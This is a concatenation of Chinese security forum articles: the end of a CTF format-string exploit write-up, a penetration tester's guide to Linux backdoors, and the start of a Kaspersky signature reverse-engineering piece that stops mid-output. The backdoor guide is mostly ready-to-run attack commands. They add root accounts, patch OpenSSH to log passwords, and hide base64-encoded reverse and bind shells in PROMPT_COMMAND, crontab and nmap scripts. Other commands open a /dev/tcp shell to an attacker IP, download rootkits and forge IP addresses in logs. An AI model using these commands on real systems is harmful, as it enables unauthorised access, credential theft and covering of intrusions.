p.recvuntil('please input new username(max lenth:20):')
p.sendline('b'*8)
p.recvuntil('please input new password(max lenth:20):')
payload = "%2214u%12$hn"
payload += p64(leak_addr)
p.send(payload)
p.recvuntil('>')
p.sendline('1')
p.interactive()
### 其他
在写payload的时候
我一直把%2214u%12$hn数成11……然后一直GG。
sakura@ubuntu:~$ python -c 'print len("%2214u%12$hn")'
12
之所以做这道题。。是因为百度杯11月的一道pwn题和这题几乎一模一样…就拿来折腾下好了，不过那题没有system(‘/bin/sh’)可以利用。
要考虑leak出来。
格式化字符串大部分的利用姿势我都练到了，不过还是不够熟练，慢慢来呗~ | 社区文章 |
# 我所了解的渗透测试——Linux后门类型
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在一次渗透中，成功获取某目标几台比较重要的机器，当时只想着获取脱库，结果动静太大被发现了，之前渗透并没太在意Linux维持权限，经过此次事后从Google找各种资料，一款满意的rootkit都没有，现在一直在关注这方面，但还是没有找到满意的后门，在渗透圈一个人的资源总是有限往往你全力追求的，也不过是别人的一层关系就可以解决得到更有力的资源。
**常用后门技术**
* 增加超级用户帐号
* 破解/嗅控用户密码
* 放置SUID Shell _**_
* 利用系统服务程序
* TCP/UDP/ICMP Shell
* Crontab定时任务
* 共享库文件
* 工具包rootkit
* 可装载内枋模块(LKM)
## 增加超级用户
`echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd`
如果系统不允许uid=0的用户远程登录，可以增加一个普通用户账号
`echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow`
### 小案例
搞某外企，主站拿不下来进行C段渗透，发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显，所以通过无密码添加密码来连接SSH：
useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功
跑去登录发现拒绝访问，查看了下`/etc/shadow`并没有修改成功密码，这时候我考虑了可能设置了密码策略，所以我添加了一个14位，大小写加特殊字符的，还是无法登录，没有办法修改成功,因为无法回显并不知道错误信息，所以试了几个添加密码的方法。
`echo "roo1:password" |chpasswd`
修改密码失败
echo "123456n123456" |(sudo passwd roo1)
#有些情况下是可以成功的一条命令
试了几种方法都没有修改成密码，最后无回显添加Linux密码一种方法：
而这种方法是可以绕过密码强速限制添加的。
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/
果然成功了， **后来上服务器** 用passwd修改密码，提示
是之前写的密码太简单了，而服务器有密码策略，然后用`mkpasswd`自动生成的密码修改尝试 NW8JLHV6m _*_ ug，成功了。
其实这条也是可以成功的，需要密码强度。
useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsxn1qaz2wsx"|passwd user1
## 破解
获得shadow文件后，用`John the Ripper`工具破解薄弱的用户密码，根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用`hashcat`GPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置，价格好像也就3万多:
`supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台`
`Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗`
`金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根`
`三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块`
`NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU`
对于跑Windows密码还是非常快，而遇到Linux加密算法是非常蛋疼，如有需要可以贴出来搭建GPU破解服务器文章。
## 放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell，即可获得一个root权限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
## Crontab后门
(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务，与windows下的计划任务类似，当安装完成操作系统后，默认会安装此服务工具，并且会自动启动crond进程，crond进程每分钟会定期检查是否有要执行的任务，如果有要执行的任务，则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`%100cn")|crontab –
## ssh 公钥免密
(容易被发现)
ssh-keygen -t rsa
把`id_rsa.pub`写入服务端的`authorized_keys`中
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
## alias 后门
当前用户目录下`.bashrc`
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
## pam 后门 or openssh
参考：
关于openssh通用后门的拓展
<http://0cx.cc/ssh_get_password.jspx>
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门
vi includes.h //修改后门密码，记录文件位置，
/ _
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码
_/
yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd
Centos6可以使用后门，但是配合curl把登录密码发送到服务器失败
## SSH后门
`ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337`
执行完之后，任何一台机器`ssh root[@IP](https://github.com/IP "@IP") -p 31337`不需要密码
## SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候，正则匹配会失败，于是执行下一句，启动/usr/bin/sshd，这是原始sshd。原始的sshd监听端口建立了tcp连接后，会fork一个子进程处理具体工作。这个子进程，没有什么检验，而是直接执行系统默认的位置的/usr/sbin/sshd，这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字，getpeername能真的获取到客户端的TCP源端口，如果是19526就执行sh给个shell。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接：
`socat STDIO TCP4:target_ip:22,sourceport=13377`
默认端口为13377否则会出现：
## mafix rootkit
Mafix是一款常用的轻量应用级别Rootkits，是通过伪造ssh协议漏洞实现让攻击者远程登陆的，特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持
## 利用系统服务程序
修改`/etc/inetd.conf`
`daytime stream tcp nowait /bin/sh sh –I`
用`trojan`程序替换`in.telnetd、in.rexecd`等 inted的服务程序重定向login程序
## TCP/UDP/ICMP Shell
Ping Backdoor，通过ICMP包激活后门， 形成一个Shell通道。
TCP ACK数据包后门，能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
<http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz>
被控端
`./ishd -i 65535 -t 0 -p 1024 -d`
控制端
`./ish -i 65535 -t 0 -p 1024 192.168.1.69`
这个是py版的
<https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py>
Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包，通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。
编译安装:
`gcc <..OPTIONS..> -Wall -s -o prism prism.c`
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则
用的是单台机器测试所以2个IP一样：
`sendPacket.py 内机 FUCK 控制端 19832`
测试感觉还行，不知道在真实环境下能否维持多久。
参考
<http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/>
其它文章：
[ping这个命令会有危害么？有么？](https://bbs.pediy.com/thread-218557.htm?source=1)
## 共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell，获得权限
能够躲避系统管理员对二进制文件本身的 校验
## 可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载，不需要重新编译内核。
截获系统调用，具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好，发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget <http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz>
config.h配置密码等
安装`./setup build`
守护进程的PID是1747
隐藏目录:
通过命令是无法查看开放端口的
ps aux命令也是无法查看到进程，除非指定进程名称，我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口，通过telnet连接
使用总结：
隐藏进程、隐藏端口
支持版本太少、重启将失效。
<http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/>
## 隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的，可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹，默认情况下是不会显示出来的，浏览器访问的时候加点访问就行。（查看方法：ls -a）
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下，是绝对不会发现的！至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行，目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
## Git hooks
原是XTERM反弹Shell，老外与Git结合
`echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit`
`chmod +x .git/hooks/pre-commit`
`Xnest:1`
当更新git的时候会触发:
`git commit -am "Test"`
## PROMPT_COMMAND后门
bash提供了一个环境变量`PROMPT_COMMAND`,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log'
但是在安全人员手里味道变得不一样了
`export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c
"exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))"
2>/dev/null &)"`
Base64解密:
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)
一段简单的python socks监听命令
NC连接
`nc 192.168.1.174 1025`
## PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯，我们可以通过它来添加一个id=0的用户
`export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo
hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"`
除此之外可以利用script记录某人行为:
基本用法:
`script -t 2>demo.time -a demo.his` 记录保存为录像
`scriptreplay demo.time demo.his` 播放记录
用户家目录下,修改环境变量，使得用户登录就会触发录像
vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his
## Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令
sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"
`授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...`
更详细文章参考:
<https://segmentfault.com/a/1190000007394449>
## TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具，它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求，都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例，每当有telnet的连接请求时，tcpd即会截获请求，先读取系统管理员所设置的访问控制文件，合乎要求，则会把这次连接原封不动的转给真正的telnet进程，由telnet完成后续工作；如果这次连接发起的ip不符合访问控制文件中的设置，则会中断连接请求，拒绝提供telnet服务。
`ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") &
:allow`
ssh访问目标主机`ssh [[email protected]](mailto:[email protected]).100`触发后门
## nmap nse后门
很多linux系统中默认都安装了nmap
mkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="
base64解密
echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#
解密
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);
可以将127.0.0.1改成你的地址
## 进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888
只能连接一次后就失效没啥用。
<https://github.com/jorik041/cymothoa>
## 清理
bash去掉history记录
`export HISTSIZE=0
export HISTFILE=/dev/null`
## 修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
## 伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
## Linux日志清除
首先是Apache日志，Apache主要的日志就是`access.log``error_log`，前者记录了HTTTP的访问记录，后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同，文件的放置位置也是不同的，不过这些都可以在httpd.conf中找到。
对于明文的Apache文件，通过正则表达式就可以搞定：
`sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log`
其中192.168.1.3是我们的IP，192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义，所以需要用“”来进行转义。
MySQL日志文件
`log-error=/var/log/mysql/mysql_error.log` #错误日志
`log=/var/log/mysql/mysql.log`#最好注释掉，会产生大量的日志，包括每一个执行的sql及环境变量的改变等等
`log-bin=/var/log/mysql/mysql_bin.log` # 用于备份恢复，或主从复制.这里不涉及。
`log-slow-queries=/var/log/mysql/mysql_slow.log` #慢查询日志
`log-error=/var/log/mysql/mysqld.log`
`pid-file=/var/run/mysqld/mysqld.pid`
`sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log`
至于二进制日志文件，需要登录mysql client来修改删除，建议这种操作最先执行。
php日志修改
`sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log`
最后就是Linux的日志文件了，这个比较多，记录的也比较复杂，我的环境是CentOS
6.3。我现在只把和渗透有关的文件列出来，主要在`/etc/logrotate.d/syslog`中
`/var/log/maillog`，该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动，它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
`var/log/messages`，该文件的格式是每一行包含日期、主机名、程序名，后面是包含PID或内核标识的方括号，一个冒号和一个空格
`/var/log/wtmp`，该日志文件永久记录每个用户登录、注销及系统的启动，停机的事件。该日志文件可以用来查看用户的登录记录，last命令就通过访问这个文件获得这些信息，并以反序从后向前显示用户的登录记录，last也能根据用户，终端tty或时间显示相应的记录
`/var/run/utmp`，该日志文件记录有关当前登录的每个用户的信息，因此这个文件会随着用户登录和注销系统而不断变化，它只保留当时联机的用户记录，不会为用户保留永久的记录。系统中需要查询当前用户状态的程序，如who、w、users、finger等就需要访问这个文件
`/var/log/xferlog`，该日志文件记录FTP会话，可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序，以及该用户拷贝了哪些文件供他使用。
`bash_history`，这是bash终端的命令记录，能够记录1000条最近执行过的命令（具体多少条可以配置），通过这个文件可以分析此前执行的命令来知道知否有入侵者，每一个用户的home目录里都有这么一个文件
清除脚本:
<https://github.com/JonGates/jon>
之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门，商业的又买不起，自己又不会写，转行了转行了搞毛渗透。
参考链接:
<https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save>
linux一种无文件后门技巧(译文)
<https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7(%E8%AF%91%E6%96%87)/> | 社区文章 |
# 看我如何逆向卡巴斯基引擎实现对机密文件的检测
##### 译文声明
本文是翻译文章，文章原作者 objective-see，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x22.html>
译文仅供参考，具体内容表达以及含义原文为准。
> 在本文中，我们将详细介绍如何逆向一个流行的反病毒引擎，并对其进行“扩展”。在创建新的反病毒特征值（Anti-virus
> Signature）之后，就可以通过杀毒软件来对我们指定的机密文件实现自动检测。
#
## 背景
在抵御恶意代码的持久战中，反病毒产品占据了主力地位。然而有趣的是，这些反病毒产品的特点往往与高级网络情报监控工具的特点有许多共同之处。例如，持久性、可扩展性、高级扫描能力、自我防御机制等，具体如下：
1、持久性：反病毒产品需要确保其能够始终运行，通常会将一些基础组件隐藏在比常规用户更高级别的位置。
2、扫描：反病毒产品设计的目的，就在于监测并扫描全部文件，包括文档这类不可执行的文件。
3、自动更新：反病毒产品经常需要自动更新各种组件，例如最新的特征库，这些组件会以不透明的方式进行功能上的扩展，即通常所说的“更新病毒库”。
4、上传文件：反病毒产品可能会上传可疑文件，以进行进一步分析。
5、自我防御和反分析机制：反病毒产品通常会采用先进的自我防御机制，来防范逆向工程分析。
**在这里 ，我们重点关注反病毒特征值。我们所研究的特征值应该具有如下特点：**
**1、每天更新；**
**2、以加密方式传输，并且以加密方式保存在磁盘上；**
**3、面向特定地区或特定客户端，进行有针对性的更新；**
**4、独立存在，不包含在反病毒产品的源代码之中。**
换而言之，如果要分析具有上述特性的特征值，可以说是一个相当复杂的任务。那么，是否存在一种可能，让我们将反病毒产品当作完美的网络情报监控工具来使用？
在最近的新闻中，我们看到：有人指责知名网络安全公司卡巴斯基旗下的反病毒软件，会检测NSA的机密文档，并将其泄漏给俄罗斯。这个新闻使我眼前一亮。当然，我不想对这一事件发表评论，但是我非常好奇，是否可以从技术上实现这一点。
具体而言，我想尝试一下是否在不修改可执行代码的前提下，是否能够将文档的特征值添加到卡巴斯基反病毒产品之中，从而让反病毒引擎帮助我们自动检测机密文档，并对其进行标记，从而帮助我们获得这些文档。
我的目标非常简单：对卡巴斯基产品进行逆向分析，从而掌握其原理。并且创建一个新特征值，用于标记机密文件。
## 对卡巴斯基的分析过程
我们将针对macOS系统上最新版本的卡巴斯基网络安全软件进行分析。在下载之后，我们进行安装，它会安装多种组建，其中包括内核扩展组件、守护进程组件以及各种用户组件。
$ ps aux | grep -i kaspersky
root 975 /Library/Application Support/Kaspersky Lab/KAV/Binaries/kav -r -bl
user 1599 /Applications/Kaspersky Anti-Virus For Mac.app/Contents/MacOS/kav_app
user 1116 /Library/Application Support/Kaspersky Lab/KAV/Applications/Kaspersky Anti-Virus Agent.app/Contents/MacOS/kav_agent
我们可以进行大致对守护进程进行分类（ **/Library/Application Support/Kaspersky
Lab/KAV/Binaries/kav** ），找到负责病毒扫描及检测逻辑核心的代码，并将其作为我们要逆向的目标。
当前的反病毒产品非常复杂，而卡巴斯基可能是其中最为复杂的一个。因此，要成功掌握其对特征值的检测方式和扫描逻辑，是一个非常具有挑战性的任务。但幸运的是，在这个世界上还有像29A、VXer、z0mbie这样的大神们和《Antivirus
Hacker’s Handbook》（作者：Joxean Koret）这样的教程存在，我们要特别感谢他们所提供的帮助！
尽管安装程序附带了内置的特征值，但与其他反病毒软件相同，卡巴斯基反病毒引擎会定期检查新的特征值并进行更新。
让我们仔细研究一下这个过程。
当新的特征值可用时，会由kav守护进程从卡巴斯基更新服务器（例如dnl-03.geo.kaspersky.com）进行下载：
对于上述信息，不要觉得奇怪，因为这些特征值已经以特定的方式进行了压缩和加密。
当客户端收到更新的内容后，首先会将特征值存储在 **/private/tmp/temporaryFolder/updates/kdb/i386/**
文件夹中，然后安装
# fs_usage -w -f filesystem
05:51:32.804433 stat64 /private/tmp/temporaryFolder/updates/kdb/i386/base010c.kdc 0.000003 kav.11742
05:51:32.804440 open F=80 (R_____) /private/tmp/temporaryFolder/updates/kdb/i386/base010c.kdc
# tail -f /Library/Logs/Kaspersky\ Lab/kav_daemon_2017-11-01-091336_pid_02464.log
05:53:01.704 13365 INF updater [updater_facade_ai.cpp:345] Publishing journal event with code: 1408419436, core code: 107, defaultLocalization: File updated, param1: /Library/Application Support/Kaspersky Lab/KAV/Bases/KLAVA/base011b.kdc, param2:
05:53:02.277 11764 INF bl [ReportsWriter] sqlite query processed: 'insert into "UpdaterFileUpdatedEvent" values (6159,0,'/Library/Application Support/Kaspersky Lab/KAV/Bases/KLAVA/base011b.kdc',13);'
05:53:02.277 11764 INF bl [ReportsWriter] sqlite query processed: 'insert into "UpdaterFileUpdatedEvent" values (6160,0,'/Library/Application Support/Kaspersky Lab/KAV/Bases/KLAVA/base011c.kdc',13);'
# hexdump -C /private/tmp/temporaryFolder/updates/kdb/i386/base010c.kdc
00000000 55 50 44 53 cc 65 02 00 00 00 02 00 1f 8b 08 00 |UPDS.e..........|
00000010 00 00 00 00 00 0b 74 9d 07 d8 db d4 f9 f6 83 1d |......t.........|
00000020 c8 09 a3 ec b4 10 66 28 ab ac 24 8c b0 21 83 0c |......f(..$..!..|
00000030 32 08 49 08 10 a6 24 cb b6 3c 24 db f2 26 6c 08 |2.I...$..<$..&l.|
00000040 7b af b0 cb 86 b2 09 1b ca 0a a3 94 51 f6 0a a5 |{...........Q...|
00000050 ec b2 f7 28 04 c8 f7 bb e5 a4 7f 4e bf 8b 5c 97 |...(.......N..\.|
00000060 6e 59 ef 6d eb 3c 92 ce 39 cf 3c ca f8 51 23 87 |nY.m.<..9.<..Q#.|
00000070 f4 e9 b3 64 9f 5f ff db 80 83 cb fd 54 b2 1d b7 |...d._......T...|
在守护进程运行时，似乎这些特征值会存储在kavbase_00000000缓存文件中。举例来说，在这里我们就可以找到EICAR特征值（欧洲反计算机病毒协会用于测试的特征值）“X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*h”：
# grep -r EICAR-STANDARD-ANTIVIRUS-TEST /Library/Application\ Support/Kaspersky\ Lab/
Binary file /Library/Application Support/Kaspersky Lab//KAV/Bases/Cache/kavbase_00000000 matches
# strings -a /Library/Application Support/Kaspersky Lab//KAV/Bases/Cache/kavbase_00000000
..
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*h
通过lsof命令，我们可以确认卡巴斯基守护进程已经打开了这个文件：
# lsof -p 508 | grep kavbase_00000000
kav 975 root /Library/Application Support/Kaspersky Lab/KAV/Bases/Cache/kavbase_00000000
kav 975 root /Library/Application Support/Kaspersky Lab/KAV/Bases/Cache/kavbase_00000000.lck_00000002
此前，研究人员们（比如z0mbie）针对卡巴斯基特征值所专有的文件格式，已经编写过一个可以对其进行解密和解压缩操作的解析器。但是这些工具只有Windows版本，并且可能已经有一些过时。尽管我们有能力将这些工具移植到macOS系统上，同时也可以对其进行更新，但是我还是决定采取更简单的方式来实现，即在内存中对特征值进行修改操作。尽管这种方法并不具有持久性，但它却能完全绕过破解卡巴斯基特有文件格式的这一过程，最终殊途同归——可以让我们成功创建一个能检测机密文档的特征值。
为了实现我们的目标，目前为止我们已经知道加密后的特征值是从卡巴斯基服务器上下载的，并在安装之后由其守护进程kav来使用。我们可以创建一个文本文件，在其中写入EICAR特征值，关闭文件并保存（例如可以存为test.txt），以此来证明kav的作用。
# fs_usage -w -f filesystem
07:07:13.240475 open F=83 (R_____) /Users/user/Documents/test.txt kav.4343
07:07:13.242416 read F=83 B=0x44 kav.4343
07:07:17.597921 unlink /Users/user/Documents/test.txt kav.4343
我们很容易发现，kav会打开该文件，并读取整个文件（共有0x44字节），逐字节对其进行扫描，一旦检测到匹配某条特征值后，就会立即将其删除。
在处理另一个文档（dontScanMe.rtf）的过程中，我们发现，当文档被修改时，卡巴斯基也会打开该文档并读取其内容，我们推测可能是为了扫描其中是否被添加了新的恶意内容：
# fs_usage -w -f filesystem
09:21:42.208362 open F=82 (R_____) /Users/user/Desktop/dontScanMe.rtf kav.4343
09:25:00.937012 lseek F=82 O=0x00000000 kav.4343
09:25:00.937032 read F=82 B=0x15d kav.4343
除了确认kav确实是执行扫描的组件以外，我们在此次实验中，还确认了卡巴斯基会主动扫描全部文档，以查找存在风险的模式。
当然，扫描具有恶意模式的文件也是反病毒产品的职责之一。所以从逻辑上来看，反病毒产品应该对可能被恶意利用或包含恶意代码的文档进行检测。所以，它扫描文档的这一行为不应该被质疑。与此同时，由于反病毒引擎对所有文档都会进行扫描，这也就意味着我们应该可以利用这一特性，生成并使用一个可以用来检测文档密级的特征值。
早期的反病毒引擎只能够扫描简单的模式，现代的反病毒产品与之相比更加智能化。正如Joxean在其《Antivirus Hacker’s
Handbook》一书中所说的那样，卡巴斯基的扫描逻辑相当复杂。具体而言，卡巴斯基对一个特征值的检测，不仅会检测其简单的模式，同时还会对可执行代码进行检测（即检测例程）。这样一来，反病毒产品就包含了强大且复杂的检测逻辑，并突破了“特征值”在传统上的定义。这些将被更新到客户端的“可执行”特征值，需要动态链接到防病毒软件的内核。Koret在文章中提出：“在解密和解压缩之后，这些文件会相互链接，新生成的二进制文件形成新的内核，同时所有的插件将会静态链接到内核上。”这也就意味着，卡巴斯基已经实现了完整意义上的加载器和链接器（Loader/Linker）。
你也许会认为，以特定国家为目标的恶意软件（Nation-state
malware）代码是唯一有能力从远程服务器下载加密载荷并在内存中执行的代码。然而，像卡巴斯基这样的高级反病毒产品，就有充分的理由来使用这样的功能。除了保护其特征值不被恶意软件破坏之外，这样的功能还可以降低内存消耗，并带来更快的启动速度。
为了进一步分析，我们接下来尝试在kav的内存中寻找这些动态加载的可执行特征值。由于这个代码是动态加载和链接的，因此假如我们使用“image dump
sections”之类的命令来遍历调试器中的内存区域时，它可能不会显示出来：
(lldb) image dump sections
Dumping sections for 301 modules.
Sections for '/Library/Application Support/Kaspersky Lab/KAV/Binaries/kav' (i386):
Load Address Perm Section Name
--------------------------------------- ---- ---------------------------- [0x0000000000000000-0x0000000000001000)* --- kav.__PAGEZERO
[0x000000000008e000-0x000000000039a000) r-x kav.__TEXT
[0x0000000000092500-0x000000000031c620) r-x kav.__TEXT.__text
...
但是，假如我们使用vmmap这样的工具，应该就可以将调试器模块Section列表中未能列出的内存可执行Section显示出来。实际上的确如此，我们发现在0x12824000处有一个11MB大小的内存块：
# vmmap kav
Process: kav [975]
Path: /Library/Application Support/Kaspersky Lab/KAV/Binaries/kav
Load Address: 0x8e000
Identifier: kav
Version: ???
Code Type: X86
OS Version: Mac OS X 10.13 (17A365)
----
Virtual Memory Map of process 975 (kav)
